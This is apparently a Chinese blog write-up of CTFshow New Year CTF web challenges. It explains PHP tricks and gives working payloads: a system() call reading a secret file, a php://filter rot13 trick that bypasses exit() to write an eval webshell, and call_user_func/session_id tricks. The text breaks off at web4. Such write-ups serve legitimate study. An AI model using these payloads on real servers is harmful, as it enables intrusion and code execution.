CTFshow---新春欢乐赛

新春欢乐赛

热身

直接执行phpinfo(),有回显
开始准备找flag,但是没找到
看到了auto_prepend_file,有文件目录
直接读取
f=system(“nl /etc/ssh/secret/youneverknow/secret.php”);

web1

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

highlight_file(__FILE__);
error_reporting(0);

$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
?>

就是一个死亡绕过exit
但是之前的模式是

<?php
$content = $_POST['content'];
file_put_contents($_GET['filename'], "<?php exit; ?>".$content);

这种直接是,filename使用php://filter协议,content输入内容
但是这个题只有一个参数
所以payload有点变化
使用string.rot13

content=php://filter/write=string.rot13|<?cuc riny();?>/resource=shell.php

还可以使用base64和string.strip_tags
参考文章

https://blog.youkuaiyun.com/qq_38154820/article/details/120232262?spm=1001.2014.3001.5501

web2

代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

highlight_file(__FILE__);
session_start();
error_reporting(0);

include "flag.php";

if(count($_POST)===1){
   
   
        extract($_POST);
        if (call_user_func($$$$$${
   
   key($_POST)})==="HappyNewYear"){
   
   
                echo $flag;
        }
}
?>

考点:利用session修改变量的值
首先看到call_user_func将post的值作为回调函数,并返回函数需要返回的值,看到session_start(),想到了session
发现session_id是一个得到当前会话id的函数,并返回当前会话id,利用这个点。
payload

POST:session_id=session_id
调用session_id函数,然后将cookie中,传入PHPSESSID=HappyNewYear
既可以将session变量传给call_user_func。

web3

<?php
highlight_file(__FILE__);
error_reporting(0);

include "flag.php";
$key=  call_user_func(($_GET[1]));
if($key=="HappyNewYear"){
   
   
  echo $flag;
}
die("虎年大吉,新春快乐!");
虎年大吉,新春快乐!

首先看代码,就是需要回调一个函数,其返回值与HappyNewYear弱类型比较
但是需要true,就可以输出flag
payload

1=session_start
成功开始会话返回 true ,反之返回 false

1=json_last_error

在这里插入图片描述

web4

<?php
highlight_file(__FILE__);
error_reporting(0);

$key=  call_user_func(($_GET[1]))
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值